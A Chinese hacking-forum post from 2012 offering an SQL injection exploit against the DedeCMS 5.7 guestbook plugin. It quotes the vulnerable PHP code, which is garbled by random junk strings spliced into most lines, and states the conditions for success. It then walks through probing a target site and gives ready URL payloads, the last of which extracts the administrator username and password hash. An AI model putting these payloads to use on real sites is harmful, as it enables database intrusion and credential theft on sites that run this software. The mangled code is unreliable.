找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3749|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.78 X9 c9 W0 F% {$ x, J; Q: E

6 V- Q6 v6 U) t漏洞文件edit.inc.php具体代码:4 w& O" H3 y; N" n
6 a2 c9 Q* H# K. j6 b
< ?php  ( Q' E0 d+ i, d
% x- H0 b  T6 F5 B! ]$ j
if(!defined('DEDEINC')) exit('Request Error!');  8 ^9 j! M' [( r# B: v- f
- X0 r) Z8 I: Z( ]" J: i
   8 x  N0 z3 W8 l, t) `" f# @# b/ M+ Z

, X2 B! E$ s/ W* |* Q( \if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  4 u! H) c7 S$ s! s2 G+ m
6 I' p; l# Q- I+ a- p8 h
else $GUEST_BOOK_POS = "guestbook.php";  
/ {0 H1 k4 M# X
8 j+ Y6 s# v3 Y7 U/ P   2 q, Q4 V/ q: w+ Y  _% I
  u- G9 o6 \2 C5 y0 ~  }
$id = intval($id);  
6 T5 Y) B9 B6 P
% M( N$ m& T3 J0 vif(empty($job)) $job='view';  : u/ _3 s2 J0 h9 T- a, e
8 ^( X/ X3 `- ~' T+ i# Z5 C
   ) x- g; |8 y8 W$ e" Q

5 j" n1 b8 ?6 J) k! V. iif($job=='del' && $g_isadmin)  
# g1 O% o5 K# i3 c  ?+ s) k+ M& H/ Z2 Z
{  3 [6 `7 b% C% \$ T' ?

& t, C( F9 Y" z$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  4 i* }! {3 Q5 U- ?; `( o
, O, ]# F3 m( \
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
0 l) N" z: J; v) s7 N
! \5 a5 d1 |- }! G# R# X& h$ {exit();  
7 [) f. o  f8 n' o0 M. B8 V' t; v. x5 x* ~* }& q' w
}  
% [' w$ M% j& L5 H5 g: D5 |0 c& b7 {) ?4 d4 F
else if($job=='check' && $g_isadmin)  . O7 L) W! w" J& `2 A; a: Q

* R+ E2 G4 _- }$ |{  
0 v9 i8 Q0 p0 u4 `6 Q6 \- }
! e' W) p+ C% v5 h7 K$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
& H! [9 C/ I# D+ ?' a1 K5 T  K7 m
. W) x; {: u9 }* G! S" {: K% zShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);    |2 L# w: E! ]9 K% \- T5 F2 h1 I
# V3 k/ l4 z6 N
exit();  + j' c) l7 w. r
5 B$ X$ c4 h- W" d& Y, Z4 K
}  
9 x* h4 |$ W- @" x9 @3 }, F! E: [$ G# j) r0 w- b! p7 Z4 `" W
else if($job=='editok')  
# k( S% \5 b" g& D  I& ^! a  [3 d7 U8 x7 S% S- r' _2 ]
{  % ]2 t0 I" B$ U, e0 |& U: b- ~

+ Z3 _, `2 O2 Y) R; V1 Y$remsg = trim($remsg);  , L  K8 k! f: s5 D
2 f8 ~1 x1 A: Y9 K2 ]# x  @
if($remsg!='')  1 J6 R8 A9 O) u0 @

: O8 S6 `' L( y  |) G) e/ u" {( \{  
$ ~; p. n9 o. e, {: k& F* G5 `/ f* @' M/ v: j
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
2 z0 _7 {- `: P4 e, D
% [1 U# E% A& K" s- Bif($g_isadmin)  ) A/ Y7 g, F: s- Z+ b' ^$ V6 Y

! m  o2 k# n- ?2 ?. c{  # s- u+ n; r: A
2 ?) K# R! ?1 l7 |. y0 v
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  & X, `: F9 d! J- L/ \6 P* N, L3 e

" |9 E, z. D! \//$remsg <br /><font color=red>管理员回复:</font> }  
3 n7 N/ ^* O" C$ u8 u! s( O. x8 j5 h) }& C3 }" m4 m7 f
else 0 y* {4 a$ R+ Q8 g4 D6 ~

7 U% C5 Y3 {2 f& F# a{  1 V. M3 a* m. n3 C

' n, [6 x! _: J& `, \2 m6 e. \$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  2 R! f5 p* A+ w) r$ j
' F; ~4 ?8 F2 }5 ]2 N
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  ) ]( z/ Y9 t* l- j$ p

# [0 H& l; o* t$ a$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  , L# }" v4 j& g, C* U5 g! ?

) A& W/ U2 `$ O; G1 f$msg = $oldmsg.$remsg;  , M$ L0 I/ K$ z  O- J6 h

* [1 _& B  F* Q3 _8 a+ I2 v}  2 b& k: h" G+ W% |( X

1 \. ~! y) @" C# {}  % C8 Q: Z& h$ i: W
- s* [, r1 i) X1 C  K% F' G
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
% k! N- a; T6 v6 T; ~* O9 k+ q  I3 M6 c0 P' @+ K, z/ d+ X6 ?
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
% C  f$ B- j5 C; s( f
7 h$ i$ d- O, L% J7 EShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
' o( H$ v( B+ M$ M/ K8 i- q8 ]' ]( g3 c
exit();  " E9 W4 o( g) e9 u. I
" Z# k; H" |; t) x7 b
}  ' Z) d5 O+ K+ X% N# K
2 X8 x/ t7 o0 t. c+ z& l
//home:www.errs.cc  
) ^/ \( h0 {: `5 r$ ?& ]0 p" r; s& t* e) {/ V$ P+ K3 ^* L
if($g_isadmin)  # m; J( ~% w* x3 Z4 r1 T  T* D

8 |1 l3 U8 ~0 L) X" U; M# j2 q{  
, ~4 E: D. C) ^# X! S. k* d. j) w  R/ s. F
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
0 u7 g/ d1 r1 _
! s1 N( N6 L1 i1 v4 _require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
" p& T* v3 W/ x2 W: t7 A0 p- H
, W' ~- `# Q) a% M}  / L5 q5 g) z& |: h$ K
7 v4 q9 S+ d  `
else
9 P, x. E/ g1 c, @$ d
) V: J3 z7 _% u% h{  , T/ ?! X8 C+ R( J0 r% C1 v
0 C( W; E0 e( c: ^6 J& G+ F
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
, G! J2 Q; D7 y- B6 i# m. W/ q* D+ L$ S; M$ }
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  & P/ F$ h* H: Q% q. o* h6 P" X

- ?) z$ r1 ]" W( u( U9 c, t} 漏洞成功需要条件:6 Q0 [" o9 p' [9 j5 J  r* j# s* F
1. php magic_quotes_gpc=off
" \; {1 G: A5 D2 ]9 d; H* o2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
! u, k/ m  Z4 w/ k
6 N9 x0 ?" Y8 p; S* e1 ^8 l% @' W怎么判断是否存在漏洞:
) Z3 y# x% g9 s: b9 q  j先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
# w/ ?, @4 i1 i( Q7 z, m% {  e然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID* ?: V+ f* H1 x0 x& s
访问:
* U1 Y6 e, k; L" w  {+ o
9 n% L. O/ `% ]7 g( Ywww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
* K- v, h8 z+ ?8 F0 Q6 o' e" q跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
& M9 Z8 R! Y% \- S/ D  Y
, L; z9 ^/ K& r& P3 x$ \6 g# D" ]" H$ ?) H) L
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off  }' ^+ z0 u% ?0 h
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。' |. W! E, I. D
那么再次访问8 L9 ~2 C. b  c; Z2 l
4 r' m6 P. M. y/ q
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().3 w% C/ c5 E- g( ?) Z6 L
$ Z! l" T# v# _
大概利用就是这样,大家有兴趣的多研究下!!: W+ g& M; v2 I/ ^. b4 T

, G+ e* A- `  [% }+ v/ Z$ i- h最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
: h4 P! ^! k4 P/ X" u4 U1 v2 w" `$ F, S
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表